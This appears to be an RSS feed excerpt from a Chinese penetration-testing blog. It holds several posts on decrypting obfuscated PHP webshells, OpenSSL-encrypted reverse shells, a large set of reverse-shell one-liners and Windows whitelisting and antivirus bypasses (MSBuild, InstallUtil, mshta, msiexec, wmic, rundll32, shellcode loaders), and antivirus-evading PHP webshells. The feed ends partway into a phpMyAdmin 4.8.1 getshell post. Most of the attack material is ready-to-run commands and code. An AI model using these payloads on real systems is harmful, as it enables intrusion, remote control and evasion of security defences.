		<category><![CDATA[二进制]]></category>
		<category><![CDATA[加密]]></category>
		<category><![CDATA[大马]]></category>
		<category><![CDATA[混淆]]></category>
		<guid isPermaLink="false">/?p=1202</guid>

					<description><![CDATA[扒开加密shell的底裤。 想找一款好用的大马，还得分析分析有没有后门，但很多大马都是加密的，于是想试试能不能解密这些鬼代码，遂有此文。 PHP混淆原理 一般来讲，混淆分为两种 1...]]></description>
										<content:encoded><![CDATA[<p>扒开<span class="wpcom_tag_link"><a href="/tags/%e5%8a%a0%e5%af%86" title="加密" target="_blank">加密</a></span><span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>的底裤。</p>
<p><span id="more-1202"></span></p>
<p>想找一款好用的<span class="wpcom_tag_link"><a href="/tags/%e5%a4%a7%e9%a9%ac" title="大马" target="_blank">大马</a></span>，还得分析分析有没有后门，但很多大马都是加密的，于是想试试能不能解密这些鬼代码，遂有此文。</p>
<h2><span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span><span class="wpcom_tag_link"><a href="/tags/%e6%b7%b7%e6%b7%86" title="混淆" target="_blank">混淆</a></span>原理</h2>
<p>一般来讲，混淆分为两种<br />
1. 利用拓展进行加密<br />
2. 不需要拓展，单文件加密</p>
<p>本文主要针对第二种，而单文件加密的一般都是对源码进行字符串操作，比如对字符串移位、拼接，或者重新定义变量，重新赋值数组，总之就是尽可能减少程序可读性。但是所有加密过的代码都会经过多次eval来重新还原为php代码执行，所以我们可以<span class="wpcom_tag_link"><a href="/tags/hook" title="hook" target="_blank">hook</a></span> PHP中的eval函数来输出经过eval函数的参数，参数就是源码。</p>
<h2>hook eval</h2>
<p>PHP中的eval函数在Zend里需要调用zend_compile_string函数，我们写一个拓展直接hook这个函数就行了。不过我不会写c代码，所以参考网上的文章，在GitHub中找到了现成的一个拓展库。</p>
<p>https://github.com/bizonix/evalhook 需要编译，不过我在文末提供了编译好的so文件。</p>
<p>修改 evalhook.c 中这部分代码，否则只能在命令行中使用。</p>
<p><img src="https://y4er.com/img/uploads/20200202214739.png" alt="image" /></p>
<pre><code class="language-c ">static zend_op_array *evalhook_compile_string(zval *source_string, char *filename TSRMLS_DC)
{
        int c, len, yes;
        char *copy;

        /* Ignore non string eval() */
        if (Z_TYPE_P(source_string) != IS_STRING) {
                return orig_compile_string(source_string, filename TSRMLS_CC);
        }

        len  = Z_STRLEN_P(source_string);
        copy = estrndup(Z_STRVAL_P(source_string), len);
        if (len &gt; strlen(copy)) {
                for (c=0; c&lt;len; c++) if (copy[c] == 0) copy[c] == '?';
        }
        php_printf("n--------- Decrypt start ------------n");
        php_printf(copy);
        php_printf("n--------- Decrypt done ------------n");
        return orig_compile_string(source_string, filename TSRMLS_CC);

}
</code></pre>
<p>centos php5.6+apache 然后运行</p>
<pre><code class="">yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm
yum install --enablerepo=remi --enablerepo=remi-php56 php-devel
phpize &amp;&amp; ./configure &amp;&amp; make
</code></pre>
<p>将 evalhook/modules/evalhook.so 拷贝到 php 的拓展目录下，并且向php.ini中添加</p>
<pre><code class="">extension=evalhook.so
</code></pre>
<p>重新启动apache之后，可以通过web访问php文件，会直接打印出源码。</p>
<p>拿一个大马举例，没加拓展之前访问。</p>
<p><img src="/wp-content/uploads/2020/02/20200202217147.png" alt="image" /></p>
<p>加了拓展之后</p>
<p><img src="/wp-content/uploads/2020/02/20200202211173.png" alt="image" /></p>
<h2>参考链接</h2>
<p><a class="wp-editor-md-post-content-link" href="http://weaponx.site/2018/04/27/%E8%A7%A3%E5%AF%86%E6%B7%B7%E6%B7%86%E7%9A%84PHP%E7%A8%8B%E5%BA%8F/">解密混淆的PHP程序</a><br />
http://blog.evalbug.com/2017/09/21/phpdecode_01/<br />
https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html<br />
https://github.com/bizonix/evalhook<br />
<a class="wp-editor-md-post-content-link" href="https://gitee.com/Y4er/static/raw/master/hook.so">放一个我基于PHP 5.6.40编译好的so文件</a></p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>利用openssl加密你的shell</title>
		<link>/web/936.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 26 Aug 2019 05:43:31 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[openssl]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[shell]]></category>
		<guid isPermaLink="false">/?p=936</guid>

					<description><![CDATA[利用openssl加密你的shell 在我们实际的渗透测试过程中，总是有各种各样的流量审查设备挡住我们通往system的道路，尤其是在反弹shell的时候，明文传输的shell总是...]]></description>
										<content:encoded><![CDATA[<p>利用<span class="wpcom_tag_link"><a href="/tags/openssl" title="openssl" target="_blank">openssl</a></span>加密你的<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span></p>
<p>在我们实际的渗透测试过程中，总是有各种各样的流量审查设备挡住我们通往system的道路，尤其是在反弹shell的时候，明文传输的shell总是容易断，那么本文介绍一种利用openssl反弹流量加密的shell来绕过流量审查设备。</p>
<h1>常规bash反弹</h1>
<p>vps执行 <code>nc -lvvp 4444</code></p>
<p>目标主机执行 <code>bash -i &gt;&amp; /dev/tcp/172.16.1.1/4444 0&gt;&amp;1</code></p>
<p><img src="https://y4er.com/img/uploads/20190826131727.png" alt="20190826131727" /></p>
<p>流量明文传输，很容易被拦截。</p>
<h1>openssl加密传输</h1>
<p>第一步，在vps上生成SSL证书的公钥/私钥对</p>
<pre><code class="language-bash ">openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
</code></pre>
<p>第二步，在VPS监听反弹shell</p>
<pre><code class="language-bash ">openssl s_server -quiet -key key.pem -cert cert.pem -port 4433
</code></pre>
<p>第三步，在目标上用openssl加密反弹shell的流量</p>
<pre><code class="language-bash ">mkfifo /tmp/s;/bin/bash -i &lt; /tmp/s 2&gt;&amp;1|openssl s_client -quiet -connect vps:443 &gt; /tmp/s;rm /tmp/s
</code></pre>
<p><img src="/wp-content/uploads/2019/08/20190826132310.png" alt="20190826132310" /></p>
<p>流量已经被加密。</p>
<h1>参考链接</h1>
<ol>
<li>https://www.t00ls.net/articles-52477.html</li>
<li>https://www.freebuf.com/vuls/211847.html</li>
<li>https://www.cnblogs.com/heycomputer/articles/10697865.html</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>渗透测试中弹shell的多种方式及bypass</title>
		<link>/tools/677.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jul 2019 08:33:51 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[反向shell]]></category>
		<guid isPermaLink="false">/?p=677</guid>

					<description><![CDATA[文章首发先知，欢迎移步 https://xz.aliyun.com/t/5768 在我们渗透测试的过程中，最常用的就是基于tcp/udp协议反弹一个shell，也就是反向连接。 我...]]></description>
										<content:encoded><![CDATA[<blockquote><p>
  文章首发先知，欢迎移步 https://xz.aliyun.com/t/5768
</p></blockquote>
<p>在我们渗透测试的过程中，最常用的就是基于tcp/udp协议反弹一个<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>，也就是反向连接。</p>
<p>我们先来讲一下什么是正向连接和反向连接。</p>
<ul>
<li>正向连接：我们本机去连接目标机器，比如ssh和mstsc</li>
<li>反向连接：目标机器去连接我们本机</li>
</ul>
<p>那么为什么反向连接会比较常用呢</p>
<ol>
<li>目标机器处在局域网内，我们正向连不上他</li>
<li>目标机器是动态ip</li>
<li>目标机器存在防火墙</li>
</ol>
<p>然后说一下我的实验环境</p>
<p>虚拟机采用nat模式</p>
<p>攻击机：Kali Linux ：172.16.1.130</p>
<p>受害机：Centos 7 ：172.16.1.134</p>
<h1>常见姿势</h1>
<h2>bash</h2>
<p>bash也是最常见的一种方式</p>
<p>Kali监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>centos运行</p>
<pre><code class="language-bash ">bash -i &gt;&amp; /dev/tcp/172.16.1.130/4444 0&gt;&amp;1
</code></pre>
<p>当然你还可以这样</p>
<pre><code class="language-bash ">exec 5&lt;&gt;/dev/tcp/172.16.1.130/4444;cat &lt;&amp;5|while read line;do $line &gt;&amp;5 2&gt;&amp;1;done
</code></pre>
<p>这两个都是bash根据Linux万物皆文件的思想衍生过来的，具体更多bash的玩法你可以参考</p>
<p>https://xz.aliyun.com/t/2549</p>
<h2>python</h2>
<p>攻击机Kali还是监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>centos执行</p>
<pre><code class="language-python ">python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
</code></pre>
<p>这个payload是反向连接并且只支持Linux，Windows可以参考离别歌师傅的 <a href="https://www.leavesongs.com/PYTHON/python-shell-backdoor.html">python windows正向连接后门</a></p>
<h2>nc</h2>
<p>如果目标机器上有nc并且存在<code>-e</code>参数，那么可以建立一个<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%90%91shell" title="反向shell" target="_blank">反向shell</a></span></p>
<p>攻击机监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>目标机器执行</p>
<pre><code class="language-bash ">nc 172.16.1.130 4444 -t -e /bin/bash
</code></pre>
<p>这样会把目标机的<code>/bin/bash</code>反弹给攻击机</p>
<p>但是很多Linux的nc很多都是阉割版的，如果目标机器没有nc或者没有-e选项的话，不建议使用nc的方式</p>
<h2>php</h2>
<p>攻击机监听</p>
<pre><code class="language-bash ">nc -lvvp 4444
</code></pre>
<p>要求目标机器有php然后执行</p>
<pre><code class="language-php ">php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3");'
</code></pre>
<p>或者你直接在web目录写入一个php文件，然后浏览器去访问他就行了，这有一个<a href="https://my.oschina.net/chinahermit/blog/144035">Linux和Windows两用的脚本</a></p>
<h2>Java 脚本反弹</h2>
<pre><code class="language-java ">r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5&lt;&gt;/dev/tcp/172.16.1.130/4444;cat &lt;&amp;5 | while read line; do $line 2&gt;&amp;5 &gt;&amp;5; done"] as String[])
p.waitFor()
</code></pre>
<h2>perl 脚本反弹</h2>
<pre><code class="language-perl ">perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'
</code></pre>
<h2>powershell</h2>
<p>目标机器执行</p>
<pre><code class="language-powershell ">powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444
</code></pre>
<h2>msfvenom 获取反弹一句话</h2>
<p>msf支持多种反弹方式，比如exe ps php asp aspx甚至是ruby等，我们可以用msfvenom来生成payload，然后在msf中监听，执行之后就会反弹回来session</p>
<p>生成payload的方法参考<a href="http://www.myh0st.cn/index.php/archives/67/">生成msf常用payload</a>，不再赘述</p>
<p>然后msf监听</p>
<pre><code class="language-bash ">msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
exploit -j -z
</code></pre>
<hr />
<p>那么讲到这里我们把一句话反弹shell的方式讲的差不多了，但是到这里我们又涉及到了一个免杀的问题。</p>
<p>我们首先需要知道的是目前的反病毒软件查杀，常见的有三种：</p>
<ol>
<li>基于文件特征</li>
<li>基于文件行为</li>
<li>基于云查杀 实际也是基于特征数据库的查杀</li>
</ol>
<p>到目前为止，我所知道的免杀姿势有以下几种</p>
<ol>
<li>Windows白名单 俗称白加黑 也就是用带有微软签名的软件来运行我们自己的shellcode</li>
<li>payload分离免杀 比如shellcode loader</li>
<li>换一门偏僻的语言来自己写反弹shell</li>
</ol>
<p>而接下来的几种只适用于Windows。</p>
<p>攻击机：Kali Linux ：172.16.1.130</p>
<p>受害机：Win 7 ：172.16.1.135</p>
<h1>Windows白加黑</h1>
<p>白加黑需要的payload可以使用<a href="https://y4er.com/post/download-shell/">一句话下载姿势总结</a> 把payload下载到目标机器，这里不再赘述。</p>
<h2>MSBuild</h2>
<blockquote><p>
  MSBuild是Microsoft Build Engine的缩写，代表Microsoft和Visual Studio的新的生成平台</p>
<p>  MSBuild可在未安装Visual Studio的环境中编译.net的工程文件</p>
<p>  MSBuild可编译特定格式的xml文件</p>
<p>  更多基本知识可参照以下链接：</p>
<p>  https://msdn.microsoft.com/en-us/library/dd393574.aspx
</p></blockquote>
<p>意思就是msbuild可以编译执行csharp代码。</p>
<p>在这里我们需要知道的是msbuild的路径</p>
<p>加载32位的shellcode需要用32位的msbuild</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
</code></pre>
<p>加载64位的shellcode需要用64位的msbuild</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
</code></pre>
<p>我们这里用64位的shellcode和64位的win7来操作。</p>
<pre><code class="language-bash ">msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task</p>
<p>我们用的是<code>executes x64 shellcode.xml</code>的模板，把里面45行之后的改为自己的shellcode</p>
<p>然后msf监听</p>
<pre><code class="language-bash ">msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.130
set LPORT 4444
set ExitOnSession false
set autorunscript migrate -n explorer.exe
exploit -j
</code></pre>
<p>在目标机器上运行</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework64\v4.0.30319&gt;MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"
</code></pre>
<p>然后会话上线，某数字卫士无反应，并且正常执行命令</p>
<p><img src="https://y4er.com/img/uploads/20190719154312.png" alt="360数字卫士" /></p>
<p>更多关于msbuild的内容可以参考<a href="https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/">三好学生师傅的文章</a></p>
<h2>Installutil.exe&amp;csc.exe</h2>
<blockquote><p>
  Installer工具是一个命令行实用程序，允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。</p>
<p>  具体参考：<a href="https://docs.microsoft.com/zh-cn/previous-versions/2kt85ked(v=vs.120)">Windows Installer部署</a>
</p></blockquote>
<p>通过msfvenom生成C＃的shellcode</p>
<pre><code class="language-powershell ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>下载InstallUtil-Shellcode.cs，将上面生成的shellcode复制到该cs文件中</p>
<p>https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260</p>
<p>csc编译InstallUtil-ShellCode.cs</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs
</code></pre>
<p>编译生成的文件后缀名无所谓exe dll txt都可以，但只能InstallUtil.exe来触发</p>
<p>InstallUtil.exe执行 反弹shell</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe
</code></pre>
<p>参考https://www.blackhillsinfosec.com/how-to-<span class="wpcom_tag_link"><a href="/tags/bypass" title="bypass" target="_blank">bypass</a></span>-application-whitelisting-av/</p>
<h2>regasm和regsvcs</h2>
<p>regasm和regsvcs都可以用来反弹shell的，而且方式也一样</p>
<p><a href="https://github.com/3gstudent/Bypass-McAfee-Application-Control--Code-Execution/blob/master/regsvcs.cs">下载这个cs文件</a> ，然后替换你的shellcode</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp
</code></pre>
<p>使用sn.exe生成公钥和私钥，如果没有sn命令你可能需要安装vs</p>
<pre><code class="language-bash ">sn -k key.snk
</code></pre>
<p>编译dll，注意文件的路径</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:1.dll /keyfile:key.snk regsvcs.cs
</code></pre>
<p>用这两者上线</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe 1.dll
</code></pre>
<p>或者这样</p>
<pre><code class="language-powershell ">C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U 1.dll 
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U 1.dll
</code></pre>
<p>上线成功。</p>
<h2>mshta</h2>
<p>mshta是在环境变量里的</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f raw &gt; shellcode.bin
</code></pre>
<pre><code class="language-bash ">cat shellcode.bin |base64 ‐w 0
</code></pre>
<p>然后替换这个文件中的shellcode</p>
<p>https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta</p>
<p>替换<code>' ---------- DO NOT EDIT BELOW HERE -----------</code>上面引号包起来的base64，可以将hta托管出来。</p>
<pre><code class="language-bash ">mshta.exe http://baidu.com/shellcode.hta
</code></pre>
<p>在cobalt strike中mshta也是一个很方便的上线功能。</p>
<h2>Msiexec简介：</h2>
<p>Msiexec 是 Windows Installer 的一部分。用于安装 Windows Installer 安装包（MSI）,一般在运行 Microsoft Update 安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于 Windows 2003，Windows 7 等。</p>
<p>Msiexec已经被添加到环境变量了。</p>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 ‐f msi &gt; shellcode.txt
</code></pre>
<p>目标机执行</p>
<pre><code class="language-bash ">msiexec.exe /q /i http://172.16.1.130/shellcode.txt
</code></pre>
<h2>wmic</h2>
<p>已经被添加到环境变量</p>
<p>poc</p>
<pre><code class="language-bash ">wmic os get /FORMAT:"http://example.com/evil.xsl"
</code></pre>
<pre data-language=XML><code class="language-markup ">&lt;?xml version='1.0'?&gt;
&lt;stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0"&gt;
&lt;output method="text"/&gt;
    &lt;ms:script implements-prefix="user" language="JScript"&gt;
    &lt;![CDATA[
    var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    ]]&gt; &lt;/ms:script&gt;
&lt;/stylesheet&gt;
</code></pre>
<p>参考:<a href="https://3gstudent.github.io/利用wmic调用xsl文件的分析与利用/">利用wmic调用xsl文件的分析与利用</a><br />
这里还有一个poc https://raw.githubusercontent.com/kmkz/Sources/master/wmic-poc.xsl</p>
<h2>rundll32</h2>
<p>Rundll32.exe是指“执行32位的DLL文件”。它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。已经加入环境变量。</p>
<pre><code class="language-bash ">rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
</code></pre>
<p>也可以去执行msf生成的dll</p>
<pre><code class="language-bash ">rundll32.exe shell32.dll,Control_RunDLL c:\Users\Y4er\Desktop\1.dll
</code></pre>
<hr />
<p>在这我们先简单介绍这几种，还有<code>compiler.exe</code> <code>odbcconf</code> <code>psexec</code> <code>ftp.exe</code>等等。在这里给出参考连接</p>
<p>micro8前辈 https://micro8.gitbook.io/micro8/contents-1#71-80-ke</p>
<h1>payload分离免杀</h1>
<p>在这里也只介绍两种分离免杀的姿势</p>
<h2>shellcode loader</h2>
<p>借助第三方加载器，将shellcode加载到内存中来执行。</p>
<p>https://github.com/clinicallyinane/shellcode_launcher</p>
<pre><code class="language-bash ">msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -e x86/shikata_ga_nai -i 5 -f raw &gt; test.c
</code></pre>
<p>靶机执行</p>
<pre><code class="language-bash ">shellcode_launcher.exe -i test.c
</code></pre>
<p>msf监听正常上线</p>
<h2>csc和InstallUtil</h2>
<p>不再赘述，参考上文白加黑</p>
<h1>偏僻语言</h1>
<p>实际上也不能说偏僻语言，原理是让杀软不识别文件的pe头。我们在这说两种</p>
<h2>pyinstaller</h2>
<p>py版的shellcode模板</p>
<pre><code class="language-python ">#! /usr/bin/env python
# encoding:utf-8

import ctypes

def execute():
    # Bind shell
    shellcode = bytearray(
    "\xbe\x24\x6e\x0c\x71\xda\xc8\xd9\x74\x24\xf4\x5b\x29"
        ...
    "\x37\xa5\x48\xea\x47\xf6\x81\x90\x07\xc6\x62\x9a\x56"
    "\x13"
     )

    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40))

    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

    ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
    buf,
    ctypes.c_int(len(shellcode)))

    ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0)))

    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
    ctypes.c_int(-1))
if __name__ == "__main__":
    execute()
</code></pre>
<pre><code class="language-bash ">msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=172.16.1.130 -e x86/shikata_ga_nai -i 5 -f py -o  1.py
</code></pre>
<p>使用pyinstaller打包</p>
<pre><code class="language-bash ">pyinstaller.py -F --console 1.py
</code></pre>
<p>和pyinstaller类似的还有py2exe，不再赘述。</p>
<h2>go+upx</h2>
<pre><code class="language-go ">package main

import "C"
import "unsafe"

func main() {
    buf := ""
    buf += "\xdd\xc6\xd9\x74\x24\xf4\x5f\x33\xc9\xb8\xb3\x5e\x2c"
    ...省略...
    buf += "\xc9\xb1\x97\x31\x47\x1a\x03\x47\x1a\x83\xc7\x04\xe2"
    // at your call site, you can send the shellcode directly to the C
    // function by converting it to a pointer of the correct type.
    shellcode := []byte(buf)
    C.call((*C.char)(unsafe.Pointer(&amp;shellcode[0])))
}
</code></pre>
<p>如果正常编译体积会很大，建议使用<code>go build -ldflags="-s -w"</code>参数来编译生成exe，你也可以<code>go build -ldflags="-H windowsgui -s -w"</code>去掉命令窗口</p>
<p>编译出来900多kb，在使用upx压缩一下会降低到200kb左右，也能正常上线。</p>
<h1>写在文后</h1>
<p>本文所讲到的很多姿势实际上是用来bypass applocker，不过也能弹回来会话。</p>
<p>实战环境复杂，更多情况下请自行判断该使用什么姿势，实际上有时候你折腾半天不上线还不如直接一个bash反弹回来方便。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP利用Apache、Nginx的特性实现免杀Webshell</title>
		<link>/tools/646.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 25 Jan 2019 14:33:27 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[webshell]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[过狗]]></category>
		<category><![CDATA[过狗一句话]]></category>
		<guid isPermaLink="false">/?p=646</guid>

					<description><![CDATA[get_defined_vars()、getallheaders()是两个特性函数，我们可以通过这两个函数来构造我们的webshell。 前几天看到的，一直忘记写，填坑。 &#60;...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block md-focus" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span>、<span spellcheck="false"><code>getallheaders()</code></span>是两个特性函数，我们可以通过这两个函数来构造我们的<span class="wpcom_tag_link"><a href="/tags/webshell" title="webshell" target="_blank">webshell</a></span>。 <span class="md-expand">前几天看到的，一直忘记写，填坑。</span> <span class="md-comment" spellcheck="false">&lt;!&#8211;more&#8211;&gt;</span></p>
<figure class="md-table-fig" contenteditable="false">
<table class="md-table">
<thead>
<tr class="md-end-block">
<th><span class="td-span" contenteditable="true">环境</span></th>
<th><span class="td-span" contenteditable="true">函数</span></th>
<th><span class="td-span" contenteditable="true">用法</span></th>
</tr>
</thead>
<tbody>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">nginx</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>get_defined_vars()</code></span></span></td>
<td><span class="td-span" contenteditable="true">返回由所有已定义变量所组成的数组</span></td>
</tr>
<tr class="md-end-block">
<td><span class="td-span" contenteditable="true">apache</span></td>
<td><span class="td-span" contenteditable="true"><span spellcheck="false"><code>getallheaders()</code></span></span></td>
<td><span class="td-span" contenteditable="true">获取全部 HTTP 请求头信息</span></td>
</tr>
</tbody>
</table>
</figure>
<h2 class="md-end-block md-heading" contenteditable="true">apache环境</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(next(getallheaders())); 
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5897bb5j30z40rk77e.jpg" /></span></p>
<h2 class="md-end-block md-heading" contenteditable="true">apache和nginx环境通用</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(implode(reset(get_defined_vars())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj5thbdjxj30z40rkq5m.jpg" /></span> 另外一种通过执行伪造的sessionid值，进行任意代码执行。</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php
eval(hex2bin(session_id(session_start())));
?&gt;</pre>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fzj64fw0yfj30z30rktbs.jpg" /></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>706870696e666f28293b</code></span>这个是<span spellcheck="false"><code>phpinfo();</code></span>的hex编码。</p>
<h2 class="md-end-block md-heading" contenteditable="true">给<span class="wpcom_tag_link"><a href="/tags/shell" title="shell" target="_blank">shell</a></span>加密码</h2>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">&lt;?php eval(get_defined_vars()['_GET']['cmd']);?&gt;</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>phpmyadmin4.8.1后台getshell</title>
		<link>/web/431.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 22 Jun 2018 07:49:35 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[shell]]></category>
		<guid isPermaLink="false">/?p=371</guid>

					<description><![CDATA[出处@ChaMd5安全团队 &#160; 官网下载的最新版，文件名是phpMyAdmin-4.8.1-all-languages.zip &#160; 问题就出现在了 /index...]]></description>
										<content:encoded><![CDATA[<p>出处<a href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247485036&amp;idx=1&amp;sn=8e9647906c5d94f72564dec5bc51a2ab&amp;chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&amp;mpshare=1&amp;scene=23&amp;srcid=0621KeaTSAGNEZWYEAibMyeE#rd" target="_blank" rel="noopener noreferrer">@ChaMd5安全团队</a></p>
<p>&nbsp;</p>
<p>官网下载的最新版，文件名是phpMyAdmin-4.8.1-all-languages.zip</p>
<p>&nbsp;</p>
<p>问题就出现在了 /index.php</p>
<p>找到55~63行</p>
<p>&nbsp;</p>
